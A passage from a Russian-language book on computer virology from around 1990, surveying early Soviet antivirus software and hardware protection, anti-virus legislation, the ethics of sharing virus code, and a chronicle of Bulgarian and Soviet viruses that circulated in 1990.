"практика показывает, что именно специализированные антивирусные программы (имеются в виду полифаги -- БНН) чаще всего являются разносчиками вирусов"; "все имеющиеся на сегодняшний день методы борьбы с вирусами практически исчерпали себя, необходимо разработать принципиально новые". Первое утверждение, вынесенное в аннотацию статьи, автор ничем не обосновывает. А доказательств причастности "кругов, близких к фирме IBM" к разработке вирусов не существует, если, конечно, не считать такими кругами всех пользователей компьютеров, совместимых с IBM PC. Если В.Ф.Шерстюк имел в виду особенность вируса RС-1701, состоящую в том, что этот вирус не должен был размножаться на оригинальных IBM PC (кстати, в этом месте автор вируса допустил ошибку и вирус успешно размножается на таких компьютерах), то этот факт скорее свидетельствует об обратном, т.е. о страхе автора вируса перед такой могущественной фирмой как IBM. Второе утверждение уже принципиально неверно, т.к. создает у читателей ложное впечатление об опасности полифагов. Во-первых, к моменту написания статьи полифаги уже стали снабжаться средствами самоконтроля на зараженность (например, Aidstest), а во-вторых, компьютерные игры были и остаются куда более опасным источником заражения, чем фаги. Особенно характерно последнее утверждение, которое можно считать своего рода лакмусовой бумажкой "детской болезни левизны в вирусологии". В действительности предлагаемый автором метод имеет не менее серьезные недостатки, чем те методы защиты, которые он якобы призван заменить. В частности, принципиальными недостатками описанного метода вакцинирования является потеря дискового пространства (размер всех выполняемых файлов увеличивается на размер вакцины, который скорее всего составит порядка 512 байтов, т.е. сектора диска), а также возможная потеря работоспособности некоторых вакцинированных резидентных программ или программ со специальной структурой (скрытыми оверлеями и др.). Вместе с тем, в комбинации с другими методами этот метод безусловно полезен и имеет право на существование. С другой стороны, некоторые авторы стремятся повысить свой авторитет за счет пренебрежительных высказываний о других публикациях и разработанных антивирусных программах. Здесь также необходимо чувство меры. Критика уровня "... - продажная девка империализма", начинающаяся и заканчивающаяся утверждениями о том, что оппонент просто глуп, не утруждающая себя приведением доказательств является таким же проявлением нашей отсталости, как и выпускаемые нашей промышленностью ПЭВМ. 1.2.9. Первые отечественные антивирусные программы, начало формирования рынка программных средств защиты от вирусов "Please do not shoot the pianist. He is doing his best" Надпись в американском баре; приписывается также О.Уайльду "А борьба на всем пути В общем равная почти" В.Высоцкий Разработка первых отечественных антивирусных программ -- детекторов (программ, обнаруживающих вирус) и фагов (программ, "выкусывающих" вирус) -- началась еще в 1988 г. Из полифагов, сыгравших значительную роль на начальном этапе, следует отметить программу Aidstest Д.Н.Лозинского, Doctor А.А.Чижова и ANTI-KOT О.Котика. Причем программа ANTI-KOT быстро стала коммерческой и практически не принимала участие в борьбе с вирусами, начиная с осени 1989 г., а программа Doctor по этой же причине "выпала из игры" в важный период сентября -- декабря 1989 г. Дольше всего бесплатно распространялась программа Aidstest, которая с осени 1989 по лето 1990 г. была самой популярной отечественной антивирусной программой. Однако к маю 1990 г. Д.Н.Лозинский настолько устал от звонков пользователей, что решил "уйти в профессионалы", хотя, по его словам, ему было бы достаточно секретаря, отвечавшего на непрерывные телефонные звонки. Коммерческие версии до октября 1990 г. были достаточно дорогими и значимость Aidstest для "широких кругов" пользователей резко упала. Однако, начиная с октября незащищенная от копирования версия Aidstest стала распространяться по цене 3 руб. для частных лиц (т.е. практически как SHAREWARE) и, возможно, быстро обретет былую популярность. Cреди полифагов, распространяющихся бесплатно, одним из лидеров стала программа Kхх Е.Сусликова (после буквы "К" в имени этой программы обычно стоит количество "выкусываемых" вирусов, например К41). Конечно, положение, когда пользователи предпочитают антивирусные программы, распространяющиеся бесплатно, можно оценивать по-разному. Подобно тому, как рост преступности порождает повышенный спрос на замки и другие средства защиты, изготовители программного обеспечения и компьютерного оборудования предпринимают попытки использовать ситуацию для завоевания рынка. В настоящее время общее количество антивирусных средств наверное в несколько раз превышает общее количество известных компьютерных вирусов. Только в нашей стране разработаны десятки, если не сотни коммерческих программ для этой цели. Цены на такого рода продукты колеблются примерно от 300 до нескольких тысяч рублей с типичной ценой в 1000 руб. за пакет. Как правило, коммерческое программное обеспечение распространяется защищенным от копирования и требует для своей работы либо инсталляции на винчестер со специальной дистрибутивной дискеты, либо работы непосредственно с поставляемой оригинальной дискетой. Это создает некоторые неудобства при архивировании или переразметке винчестера. В связи с тем, что рынок как таковой еще не сложился, цены, устанавливаемые разработчиками, как правило, совершенно не связаны с качеством соответствующего программного продукта (иногда даже встречаются случаи продажи по принципу "толкни и убегай"). Довольно часто программное обеспечение для защиты от вирусов, распространяемое за меньшую цену или даже бесплатно, обладает сопоставимыми или лучшими характеристиками. Эта ситуация характерна как для отечественных, так и для зарубежных средств защиты от вирусов, что свидетельствует о незрелости данной "отрасли". Кроме того, лишь немногие продукты сочетают защиту от вирусов со средствами резервирования информации или защитой от несанкционированного доступа, а именно такие интегрированные системы представляют, повидимому, наибольшую ценность для пользователей. 1.2.10. Появление аппаратных средств защиты от вирусов Изготовители компьютерного оборудования не так активно включились в "охоту на вирусы", как изготовители программного обеспечения. Тем не менее ряд продуктов доведен до уровня коммерческих и продается потребителям. Предлагаемые аппаратные средства защиты, как правило, представляют собой специальные платы. Однако в конце 1988 г. фирма American Computer Security Industries, Нэшвилл, шт. Теннеси, США, представила "первый надежно защищенный противовирусный компьютер", класса PC AT, названный "Immune System" ("Иммунная система"). Cистема якобы обладает иммунитетом от вирусной атаки, а также полным набором средств, предохраняющих MS DOS и BIOS от несанкционированных изменений (Computer Age, январь 1989 г., см. также Personal Computing, 1989, ∙ 5, р. 92). Из зарубежных плат, повышающих степень защищенности компьютера, отметим плату Immunetec PC фирмы Зевс (Zeus Corp., 538 Pasadena Dr., Akron OH 44303-1704, USA; (216) 867-8181), стоимостью 295 долларов. Эта плата тестирует бутсектор и системные файлы MS DOS на наличие несанкционированных изменений, а также позволяет запретить загрузку системы с дискеты, установить паспорта и уровни доступа к винчестеру. Плата совместима с сетями Novel, 3Com и IBM Token Ring [Personal Computing, 1989, ∙ 5, р. 92]. Аналогичная плата Trispan фирмы Микроникс (Micronics Inc., 1901 N Central Expressway, Richardson, TX 75080, USA; (214)690-0595) стоит 895 долларов. Из советских разработок интерес представляет плата PORT WATCH CARD донецкой фирмы БИС (см. прил.5), совместимая с популярными сетями. Работая вместе с разработанной А.Водяником резидентной программой IWP (Intellectual Write Protector), эта плата достаточно надежно перекрывает возможные пути инфекции, позволяя, в частности, аппаратно блокировать загрузку, если пользователь не указал требуемый пароль. Следует отметить, что загрузка с собственной дискеты -- стандартный прием проникновения в чужой компьютер любителей компьютерных игр, да и не только их. Принцип действия IWP основан на усилении присваиваемого файлам атрибута READ_ONLY в сочетании с защитой системных блоков, включая MBR и бутсектор. Защищаемые файлы отмечаются специальной утилитой MAP.EXE, устанавливающей защищаемым файлам указанный атрибут и создающей в файле _IWP_.MAP в коpневом каталоге шифрованный список элементов каталога защищаемых файлов и цепочки его кластеpов в FAT. При загрузке IWP считывает этот список, пеpехватывает попытки записи чеpез дpайвеp диска и анализиpует их. При выявлении пpотивоpечий выдается сообщение и опасная запись блокиpуется. Запись и фоpматиpование чеpез пpеpывание 13h запpещаются, если они выполняются не из дpайвеpа диска, a из дpугих пpогpамм. Вывод в поpты контpоллеpов дисков -если он выполняется не из BIOS по пpеpыванию 13h. Используя плату Port Watch Card, IWP контролирует запись в CMOS-память (поpт 71h) и опасные действия с портами контpоллеpов дисководов дискет (370h..377h, 3F0h..3F7h) и винчестера (170h..177h, 1F0h..1F7h -- PC AT; 320h..32Fh -- PC XT). Недостатком существующей IWP является значительный объем используемой оперативной памяти (порядка 30К при защите винчестера 40M). Правда, разработчики предлагают специальный драйвер, имеющий и самостоятельное значение, расширяющий ОЗУ на 80K, если на компьютере установлена карта EGA (несколько больше для карт CGA и Hercules) за счет неиспользуемой в текстовом режиме видеопамяти. Планируется разработка новых версий платы с IWP, записанной в ROM платы. 1.2.11. Семинар "Системное программирование" и бюллетень СОФТПАНОРАМА Отсутствие сетей и изолированность отечественных программистов друг от друга также явилось фактором, способствовавшим распространению вирусов по нашей стране. Как уже указывалось, первые попытки организовать обмен информацией по "антивирусной" тематике и распространение антивирусных программ относятся только к апрелю 1989 г. Так, в Киеве 13.04.90 состоялся тематический семинар, полностью посвященный проблеме компьютерных вирусов. Программа этого семинара включала сообщения по четырем типам вирусов (С-648, RC1701, RCE-1813 и Bx1-1C (Ping-Pong)) и большую дискуссию. Начиная с этого семинара, среди участников стали распространяться лучшие антивирусные программы, а с сентября 1989 г. начал выходить ежемесячный бюллетень COФТПАНОРАМА. В настоящее время с формата 360К бюллетень перешел на формат 720К, приблизительно треть из которых выделяется под новые версии антивирусных средств и текущую информацию о компьютерных вирусах. 1.2.12. Болгарские и польские исследования Из исследований, проведенных в странах Восточной Европы, следует отметить польские и болгарские публикации. Лидером среди авторов болгарских публикаций на рассматриваемую тему является В.Бончев. Этим, безусловно очень способным исследователем, была опубликована одна из первых статей по вирусу С-648 [Бончев89а], а через некоторое время большая статья [Бончев89б], перевод которой был включен во второй выпуск бюллетеня COФТПАНОРАМА. Несмотря на ряд допущенных ошибок и неточностей, в ней были приведены актуальные на тот момент сведения о вирусах группы ТР (автор лично знаком с техно-крысой, разработавшей эту группу). В статье также очень мягко трактовался вопрос об ответственности за разработку и распространение вирусов. Возможно это связано с тем, что в это время автор сам распространял дискету с рядом вирусов и их исходными текстами. Хотя мотивом служило, по-видимому, желание показать, что в компьютерных вирусах нет ничего таинственного, эта "ошибка молодости" возможно послужила одной из причин последовавшего в 1990 г. "болгарского вирусного взрыва" (см. ниже). Вместе с тем, статьи Бончева были важным источником информации о распространяющихся в СССР вирусах и несколько облегчили борьбу с ними. Сейчас уже можно говорить о серии "околовирусных" статей В.Бончева в журнале "Компютър за вас", причем уровень последних статей существенно превосходит уровень первых. Последнее время В.Бончев стал активно участвовать в электронной конференции FIDO, посвященной компьютерным вирусам. Вместе с тем, в статьях В.Бончева наблюдается определенный "перекос" в сторону раскрытия механизма работы вирусов по сравнению с методами защиты от них, что, в общем, соответствует интересам В.Бончева, как ведущего рубрики. Отметим, что этот перекос несколько компенсируется тем, что В.Бончев является также автором ряда бесплатно распространяемых фагов, которые помимо Болгарии, получили определенное распространение и в СССР. Однако с точки зрения влияния на читательскую аудиторию, указанная несбалансированность редакционной политики вызывает сожаление. Поэтому роль указанных статей можно оценить как несколько противоречивую. Впрочем автор сознает, что подобная критика может быть высказана и по отношению к его собственной работе. Помимо В.Бончева, ряд статей по данной тематике опубликовал болгарский исследователь С.Недков [Недков89а-Недков90а, Nedkov89] и польский исследователь А.Кадлоф [Кадлоф90, Kadlof89]. 1.2.13. Законы, направленные против техно-крыс "Много ли желающих получить действительно по заслугам ?" С.Крытый. ЛГ ∙ 33 (16.08.89) Вирусы, как и троянские программы, создаются конкретными программистами. Хотя дальнейшее обсуждение будет в основном техническим, не следует забывать, что ключевым аспектом проблемы является появление техно-крыс -- новой разновидности уголовников, использующих для своих целей возросшую степень анонимности, достижимую с появлением ПЭВМ и сетей. Поэтому важным аспектом борьбы с компьютерными вирусами становится выявления личности преступника или преступной группы, создающей или распространяющей компьютерные ви- русы. Руководитель американской специальной группы по изучению компьютерных преступлений, Кирк Тэбби, занимающий пост помощника прокурора в Эн-Арборе (шт. Мичиган) заявил: "Уголовное дело можно возбудить всегда, когда существует человек, совершивший преступление. Незаметное внедрение вируса в программу является злонамеренным действием, а создание подобной программы -- преступлением" (The Computer Law and Security Report. -- 1989. -- V.5. -- No. 1 -- H.1821). Уголовная ответственность может сочетаться с иском за нанесенный ущерб. К концу 1989 г. в ряде стран (США, Великобритания, ФРГ) находятся на рассмотрении законы, предусматривающие для разработчиков и распространителей компьютерных вирусов значительные сроки тюремного заключения (в США до 15 лет). Это позволит, помимо программных и организационных мер, применять для борьбы с вирусами и правовые методы. В частности, в палате представителей Конгресса США внесены билль 55 (Virus Eradiation Act) и билль 287 (Computer Protection Act) [Crawford89]. Выдержки из билля 287 (перевод Н.Н.Безрукова) (А) Любой, кто сознательно или умышленно саботирует надлежащее функционирование аппаратуры компьютерной системы или связанного с ней программного обеспечения и тем самым вызовет потерю данных, затруднения при работе ЭВМ, убытки или вред владельцу компьютера, должен быть оштрафован -- или подвергнут тюремному заключению на срок не более 15 лет или подвергнут обоим наказаниям. (В) Пострадавшая сторона имеет право в судебном порядке требовать соответствующую компенсацию понесенных убытков и судебных издержек. Национальный институт стандартов США и Пентагон создали Компьютерную группу быстрого реагирования из 12 человек для борьбы с вирусами и поиска преступников. Кроме того, Пентагон планирует создать свой коммуникационный центр и подразделение для отражения атак на компьютерные системы (Comm. AСM, 1989, v. 32, ∙ 2, p. 161). В ФРГ законодательство позволяло, в большинстве случаев, привлечь к ответственности изготовителей и распространителей вирусов еще в 1987 г. Подробнее с состоянием правовой защиты от заражения компьютерными вирусами в ФРГ по состоянию на 1987 г. можно познакомиться по переводу книги Р.Бургера "Компьютерные вирусы" [Burger88, гл.6]. Этот перевод распространяется, в частности, через Всесоюзный центр переводов (ВЦП). Появление достаточно суровых законов создает в известной мере трагическую ситуацию, известную под названием "поиск козла отпущения". Посадят одного, причем не самого вредного. Остальные останутся на свободе. А что такое для молодого способного человека в 17-18 лет получить даже год тюремного заключения? Да еще сознавая, что его посадили, а остальные, принесшие не меньший вред, гуляют на свободе. 1.2.14. Этические проблемы, связанные с распространением компьютерных вирусов "Копии хороши лишь тогда, когда они открывают нам смешные стороны дурных оригиналов" Франсуа де Ларошфуко Конечно, общепринятые приоритеты и этические принципы [ParkerD81, Weiss82] исследований в программировании, использовавшиеся на первом этапе -- предыстории компьютерных вирусов, когда проблема носила преимущественно научный характер (свободный обмен информацией, программами и т.д.), не применимы на втором этапе, когда проблема затрагивает интересы практически каждого пользова- теля ПЭВМ. Сейчас как никогда остро стоит проблема выработки "кодекса" исследователя-"вирусолога". Этот кодекс должен исключать свободную передачу как самих вирусов, в особенности их наиболее опасных разновидностей (RCE-1800, RCE-2000 и др.). Здесь есть смысл применить подход, принятый в медицине, где лекарства разделены на "список-А", "список-Б" и т.д., причем в список-А попадают наиболее опасные лекарства, доступ к которым наиболее регламентирован, в список-Б менее опасные, но с регламентацией доступа (рецепт с печатью) и т.д. Появление "коллекционеров" вирусов, не ведущих работу по созданию средств защиты, представляет особую опасность, поскольку попадание такой "коллекции" в руки злонамеренного и безответственного программиста может наделать много бед. Автор считает, что передача вирусов может осуществляться только лицам, активно ведущим разработку средств защиты, и только на основе "соглашения о нераспространении". Наибольшую опасность представляют собой комментированные исходные тексты вирусов. Уровень квалификации, требуемый для того, чтобы изменить в ассемблерном тексте две-три команды, и заново ассемблировать текст вируса намного ниже, чем тот, который требуется для дизассемблирования и реконструкции логики. Поэтому распространение исходного текста вируса фактически является подстрекательством к созданию новых вирусов. Если два-три года назад такой поступок мог быть связан с отсутствием осознания опасности компьютерных вирусов, то сейчас распространявшего исходных текстов граничит с преступлением. Следует подчеркнуть необходимость особой осторожности для всех, кому так или иначе приходится анализировать зараженные программы и реконструировать логику вируса. Относящиеся к этому материалы желательно держать преимущественно как личные записи, не прибегая без необходимости к внесению комментариев в файл, содержащий дизассемблированный текст. Каталоги и архивы защищать от несанкционированного доступа паролями или, предпочтительнее, шифровкой. Недопустимо оставлять такого рода материалы в обычных каталогах на "персональном компьютере коллективного пользования", поскольку есть немало любителей рыться в чужих каталогах в поисках "чего-нибудь интересненького". Реконструированный текст следует рассматривать как материал "для служебного пользования" и не передавать незнакомым лицам, даже если, по их словам, они занимаются разработкой антивирусных средств: для создания большинства антивирусных средств, в особенности фагов, необходимые сведения специалист может получить самостоятельно за два-три часа работы. В особенности это относится к вузам, где, несмотря на нашу бедность, талантливые ребята все же имеют возможность работать на персональных ЭВМ. Часто такие ребята предоставлены сами себе и не имеют поддержки со стороны преподавателей программирования, многие из которых давно отошли или вообще никогда не занимались разработкой реальных программ и просто боятся студентов, "знающих слишком много". При отсутствии более конструктивной цели, заполучив какиенибудь листинги, такие студенты могут заняться разработкой вирусов, а не антивирусов, не отдавая себе отчет в аморальности своих действий. Поскольку обмен программами между студентами обычно весьма интенсивен, вирус имеет определенные шансы на быстрое распространение. Поэтому необходимы определенные действия общественности, чтобы предотвратить такую возможность. Они могут включать награду каждому, кто сообщит автора того или иного вируса, а также разъяснительную работу относительно этического содержания действий разработчиков вирусов. В этом плане заслуживает внимания обращение к авторам вирусов американской общественной организации "Профессионалы-программисты за социальную ответственность": "У Вас есть талант, чтобы сделать что-то полезное в жизни. То, что Вы делаете, вредит промышленности и обществу, которое готово принять Вас и ваш талант с распростертыми объятьями. Удовлетворе- ние, которое Вы получите от сотрудничества с нами, намного выше того, которое Вы получите при нанесении вреда ни в чем не повинным людям. Остановитесь !" Среди программистов существует два основных мнения относительно того, следует ли публиковать сведения о конкретных вирусах и методах атаки, используемых ими. Одни считают, что публикация технических подробностей облегчит криминальным элементам, которые, к сожалению, имеются и среди программистов, создание более опасных и разрушительных вирусов. Другие придерживаются противоположного мнения, полагая, что публикация этих данных будет способствовать мобилизации сил на создание мощных средств борьбы с этой разновидностью компьютерного вандализма и предотвратит ненужное дублирование усилий. Автор придерживается второй точки зрения и считает, что создание мощных средств защиты позволит поднять "планку" технической сложности разработки эффективного вируса до уровня, на порядок превышающего сегодняшний, что существенно сузит круг лиц, представляющих потенциальную опасность. При написании данной работы автор сознательно исключил ряд сведений, которые могли бы быть использованы во вред. В частности, дампы зараженных программ приводятся в сокращенном виде. Однако решающее значение, по-видимому, имеет создание общественной атмосферы нетерпимости к попыткам разработки или использования вирусов. Если такие попытки будут вызывать не отпор, а поощрительное похлопывание по плечу в коллективе разработчика, то в скором времени и пользователям и разработчикам антивирусных программ придется бороться на два фронта: против вирусов, попадающих с Запада (или с Востока) и против отечественных разновидностей. Тем более, что первые отечественные вирусы уже появились. Ситуация с отечественными разработчиками вирусов усложняется тем, что их довольно сложно привлечь к уголовной ответственности по действующему законодательству (хотя специфика советской действительности оставляет некоторую надежду в случае, если от этого вируса "полетит" важная информация где-нибудь в прокуратуре или министерстве юстиции). В связи с этим следует отметить полную бесперспективность попыток использования вирусов для защиты программного обеспечения от незаконного копирования. Поскольку распространение вируса не является контролируемым процессом, то в данном случае скорее всего пострадают не лица, использовавшие незаконную копию, а другие пользователи. Хотя я ни в коей мере не оправдываю незаконное копирование программ, но лекарство не должно быть опаснее, чем болезнь. Не стоит бросать бомбу в магазин для наказания человека, укравшего пачку сливочного масла. Более того, установление автора вируса будет означать полную потерю репутации разработчика и, следовательно, коммерческий крах. Этому будет, несомненно, способствовать и широкая огласка, включая сообщения на профессиональных семинарах, и публикации в прессе, которые последуют за установлением автора(ов) вируса. 1.2.15. Проблема самоизоляции "Не так страшен черт, как его малюют" Пословица Основная проблема для пользователей ПЭВМ, возникающая в связи с появлением компьютерных вирусов, состоит в том, как защитить свои программы и данные, не прибегая к самоизоляции. Практика показывает, что эта проблема вполне разрешима. Как и против биологических вирусов, для борьбы с компьютерными вирусами может применяться целый комплекс мер: технические, организационные, юридические. Поэтому наблюдаемая сейчас тенденция к самоизоляции представляется автору совершенно неоправданной. Такое "сверхреагирование" в условиях нашей страны практически равносильно добровольному отказу от возможностей хоть как-то улучшить условия всей работы и повысить ее производительность. Учитывая недоступность для большинства программистов "фирменных" программных продуктов, оригинальных иностранных журналов, доступа к национальным сетям -- всему тому, что является повседневностью для программиста в США и Западной Европе, обмен информацией на дискетах является, по сути, единственным способом получить информацию и хоть немного поднять собственный уровень. Потери данных в результате разрушительного действия компьютерных вирусов в настоящее время довольно редки и по частоте не превосходят случаев потерь данных из-за неисправности оборудования. Большинство случаев заражения программного обеспечения компьютерными вирусами, отмеченных к этому времени, не вызывали серьезных потерь данных. В то же время сама возможность таких потерь вызывает вполне понятную тревогу, поскольку хотя шансы попасть под разрушительную атаку вируса пока невелики, но они, к сожалению, увеличиваются по мере проникновения в страну новых типов и разновидностей вирусов. Кроме того, каждый понимает, что такой атаке можно подвергнуться в самый неподходящий момент. Это беспокойство имеет свои положительные и отрицательные стороны. Отрицательной стороной является то, что оно толкает пользователей к самоизоляции, когда они начинают бояться брать и пробовать интересующие их программы, хотя, как уже отмечалось выше, в наших условиях такой обмен информацией является основным методом повышения собственной производительности. Положительно то, что пользователи начинают уделять адекватное внимание созданию архивных копий своих данных, а также методам повышения надежности их хранения. Следует отметить, что, хотя потеря содержимого дискеты, а тем более винчестера, способствует быстрой выработке привычки архивировать данные, это вряд ли можно называть приемлемым способом воспитания такой привычки и ее лучше прибрести заблаговременно. В любом случае следует трезво оценивать опасность: переоценка не намного лучше, чем недооценка. 1.3. Современная ситуация "Эх, Эх ! -- ей Моська отвечает Вот то-то мне и духу придает Что я совсем без драки могу попасть в большие забияки!" И.А.Крылов Количество персональных компьютеров в СССР уже начинает приближаться к миллиону. Конечно, до США, где количество персональных компьютеров сопоставимо с количеством телефонных аппаратов, нам еще очень и очень далеко, однако и такое количество уже представляет собой "закритическую" массу для создания и распространения компьютерных вирусов собственной разработки. Поэтому неудивительно, что в этом году появились файловые вирусы "местного производства" (RC-600, RCE-1600, С-257, С-1004). В 1990 г. поток вирусов, поступающих в нашу страну из-за рубежа, несколько возрос по сравнению с 1989 г. Скорость поступления можно оценить как примерно два вируса в месяц. Из них менее половины получают существенное распространение. Основной вклад в этот поток продолжают вносить файловые вирусы из Болгарии (RCE-2000, RCE-1277 и др.). Поскольку за прошедший год уровень информированности пользователей существенно возрос, выявленные вирусы были сравнительно быстро локализованы. Вместе с тем, пользователи малых и отдаленных городов нашей страны все еще сообщали о случаях заражения вирусами RC-1701, Stone и других "прошлогодних" вирусах, эпидемии которых в больших городах уже практически закончились. Таким образом, "расползание" вирусов идет от центра к периферии, как это происходит и с естественными вирусами, скажем, вирусом гриппа. Опыт показал, что скорость распространения вирусов из одного города в другой не так уж велика, и запаздывание достигает нескольких месяцев. Это создает возможность подготовиться к появлению очередного вируса за счет оперативного распространения соответствующей информации и антивирусных средств через бюллетень СОФТПАНОРАМА. В феврале 1990 г. семинаром "Системное программирование" был организован первый конкурс антивирусных программ, распространяемых бесплатно, проводившийся в трех классах (фаги, детекторы и ревизоры, резидентные фильтры). В классе фагов первое место заняла программа AIDSTEST Д.Н.Лозинского, второе место -- программа DOCTOR А.А.Чижова. В классе детекторов и ревизоров первое место занял ревизор DLI В.Герасимова, второе место -- контекстный детектор VL А.Л.Шеховцова. И наконец, в классе резидентных фильтров два первых места поделили программы SBM В.Еременко и Б.Мостового и программа CHECK21 В.Двоеглазова. 1.3.1. Хроника событий Первые два месяца 1990 г. оказались довольно спокойными. В марте появился вирус Sunday, или RСЕ-1636 по используемой автором классификации. Изучение кода показало, что его можно рассматривать в качестве штамма вируса RCE-1813 (Ierusalem, Black Friday). В воскресенье RСЕ-1636 удаляет все запускаемые программы. В этом же месяце был обнаружен бутовый вирус DiskKiller тайваньского происхождения. Это первый из попавших в наших страну вирусов, уничтожающих информацию на всем винчестере так, что ее потом крайне трудно, а для специалиста, не владеющего ассемблером, -- невозможно восстановить. В частности, от этого вируса пострадал ряд ВЦ в западных областях Украины. В апреле в Москве был обнаружен вирус RCE-2000 болгарской разработки. В мае в Днепропетровске был обнаружен вирус RC-600 -первый вирус, относительно которого достоверно известно, что он был разработан в СССР. В июне в Киеве был обнаружен вирус MERPHY, разработанный в Болгарии. В этом же месяце в Москве был обнаружен вирус RCE-1600. Приблизительно в это же время в Москве был обнаружен бутовый вирус DEN ZUK и бутовый вирус индийского производства -- Joshy. В июле в нескольких точках Москвы был обнаружен вирус RC-492. В частности, автор обнаружил его, находясь в командировке в ВЦ АН СССР. К сентябрьскому семинару 1990 г. было обнаружено еще шесть новых вирусов: С-1004 (Bebe), Flu-2 (LoveChild), Attention, Print Screen, Kemerovo-Reboot и 4096. Последний является представителем нового поколения вирусов -- так называемых стелс-вирусов и представляет большую опасность из-за довольно скрытого характера распространения и проявлениям, похожим на сбои оборудования. Сразу после сентябрьского семинара был выявлен еще один представитель стелс-вирусов -- RC-512, разработанный в Болгарии. 1.3.2. Болгарский вирусный взрыв Как уже отмечалось, Болгария стала одним из мировых центров разработки файловых вирусов. Начиная с середины 1989 г. "наплыв" вирусов из Болгарии все увеличивается и увеличивается, причем ряд разработанных там вирусов оказались весьма изощренными и опасными. Этот поток вирусов, затронувший как СССР, так и западные страны, получил название "болгарского вирусного взрыва". Это не совсем точное название, поскольку правильнее говорить об информационном взрыве: многие из так называемых "болгарских" вирусов либо вообще не были "выпущены на свободу", либо быстро локализованы и уничтожены, не успев создать эпидемию, однако тот факт, что они были собраны В.Бончевым и переданы западным вирусологам в течении достаточно короткого промежутка времени создал иллюзию "взрыва". Деятельность болгарских техно-крыс нанесла определенный ущерб нашей стране, поскольку из Болгарии вирусы быстро попадают в СССР. Всего к нам попало более 20 болгарских вирусов, ряд из которых распространился достаточно широко. Среди последних отметим группу Dark Avenger (RCE-1800 - Еddie, RCE-02000 - AntiBontchev, RC-512 и др.) и группу TP-вирусов (RСE-1206, RCE-1805, RCE-2885 и др.). Многие сотни, если не тысячи, часов были потрачены на анализ и дезинфекцию зараженных ими программ. Факты свидетельствуют о том, что начиная с 1988 г., в Софии сложилась группа лиц, активно разрабатывавшая и распространявшая компьютерные вирусы. Общее количество разработанных ими вирусов приближается к сотне. Среди них отметим техно-крысу, разработавшую серию TP. Эта техно-крыса, по данным В.Бончева, закончившая свою деятельность по созданию новых вирусов летом 1989 г., ранее была сотрудником Высшего машинно-электротехнического института (теперь Инженерная академия), расположенного в Софии. Фамилия автора вируса RE-1961 (В.Бочев) стала известна по попавшему в СССР на вирусной дискете Бончева исходному тексту вируса RЕ-1961 (Yankee Doodle-2). Этот нерезидентный файловый вирус был исторически первым болгарским вирусом, заражавшим EXE-файлы стандартным способом и первым вирусом, использовавшим мелодию играющего мелодию "Янки Дудль Денди" при запуске зараженного файла. Правда, несколько странно, что болгарский программист использовал в своей программе мелодию марша "Янки Дудль Денди" (Yankey Doodle Dandy). Кстати, В.Бочев является автором некоторых статей, опубликованных в "Компютър за вас" [ ]. Наиболее известной болгарской техно-крысой на данный момент является программист, скрывающийся под кличкой Dark Avenger, "продукция" которого (более десятка изощренных вирусов) уже могла бы быть оценена в западных странах солидным сроком тюремного заключения. Первым из вирусов, разработанных этой техно-крысой, в СССР попал вирус RCE-1800. Этот вирус, часто называемый Eddie, по содержащейся в нем текстовой строке был и остается одним из наиболее опасных файловых вирусов. В нем предусмотрено разрушение секторов на диске, а также использован несколько отличный от предыдущих вирусов механизм размножения (RCE-1800 заражает файлы не только при выполнении, но и при открытии), обеспечивавший вирусу более быстрое распространение. Весной 1990 г. в нашей стране был обнаружен очередной вирус этого технопата -- RCE-02000, который на зараженной машине маскирует увеличение длины зараженных файлов. Это один из наиболее скрытно размножающихся и опасных вирусов-вандалов. В тексте вируса RCE-02000 имеется строка "(c) 1989 by Vesselin Bontchev", расположенная в конце тела вируса, т.е. в последнем блоке зараженной программы. Подобного рода клеветнические приемы типичны для технокрыс и В.Бончев не является первым и последним разработчиком антивирусных программ, которому приходится защищаться от "пиратства наоборот". Попытки приписать авторство вирусов разрабочикам антивирусных программ или превратить очередные версии этих программ в троянские, т.е. распространяющие новый вирус, предпринимались техно-крысами неоднократно, однако в случае RCE-02000 вирус, являясь резидентным, еще и блокирует запуск антивирусных программ В.Бончева, проверяя загружаемые программы на наличие части приведенной выше строки и вызывая зависание, если строка найдена. В 3/4 номере за 1990 г. журнала "Компьютер за вас" В. Бончевым было опубликовано опровержение, подтвердившее, что автором данного вируса является DARK AVENGER -- предположение возникшее у большинства советсвих вирусологов, анализировавших кода данного вируса. Более того, в указанном номере опубликовано и письмо самого DARK AVENGER. По-видимому, это первая публикация техно-крысы, хотя не совсем понятно, зачем предоставлять технопатам возможность печататься. Поскольку появление письма DARK AVENGER по времени совпало с распространением вируса RCE-02000, это еще раз показывает, насколько техно-крысам присущ "комплекс Герострата". Интересно отметить, что в письме название журнала "Компютър за вас" изменено на достаточно едкое "Вирус за вас", что, учитывая факт публикации письма и статей В.Бочева, имеет определенные основания. 1.3.3. Колхоз им. Герострата, или "небывалый вирусный урожай 1990" "Скоро ваши рыжие кудри, Шура, примелькаются, и вас начнут бить" И.Ильф и Е.Петров Дурной пример заразителен, и в настоящее время cоветским вирусологам уже нельзя в своих публикациях "кивать на Болгарию" -- мол какое у них творится безобразие. Социально-экономические условия СССР и Болгарии достаточно близки, а существовавшее значительное отставание в распространении персональных компьютеров сейчас несколько сократилось. Поэтому "грядет советский вирусный взрыв", тем более, что если по качеству мы всегда отстаем, то по количеству какой-то вредной продукции являемся мировым лидером. И я боюсь, что по количеству разрабатываемых компьютерных вирусов мы скоро будет серьезно конкурировать с Болгарией. Уже сейчас можно назвать более десятка вирусов, разработанных в СССР. К ним относятся RC529, RC-600, RCE-1600, RCE-2458 (Victor), С1004 (Bebe), и вероятно, С257. Первые три вируса разработаны в Воронеже, и соответствующий член колхоза имени Герострата известен в кругах вирусологов как "Воронежский пакостник". Интересно отметить, что эта технокрыса работает в паре со своим отцом, специализирующимся на распространении "выращенных" вирусов. Вот уж, действительно, ...яблоко от яблони ... Вирус RCE-2458 "живьем" пока не попадался и, возможно, разработан кем-то из иммигрантов. Происхождение вируса C-1004 (Bebe) выдают содержащиеся в нем фразы. Из указанных вирусов наибольшее распространение получил, по видимому, RC-1600, который был обнаружен в июне 1990 г. Учитывая предупреждение Томпсона, высказанное им в его знаменитой Тьюринговской лекции, автор призывает продуманно подходить к упоминанию фамилий разработчиков вируса в антивирусных программах, документации к ним и публикациях на данную тему. Незачем создавать рекламу, по сути идя на поводу у какого-то молодого балбеса или ущербной личности, страдающей от чувства собственной неполноценности и не способной найти своим ограниченным способностям какое-то конструктивное применение. 2. ОБЩИЕ ПРИНЦИПЫ ФУНКЦИОНИРОВАНИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ Не стоит слишком мучать себя вопросом: "Как это возможно?" Р.Фейнман Уже в 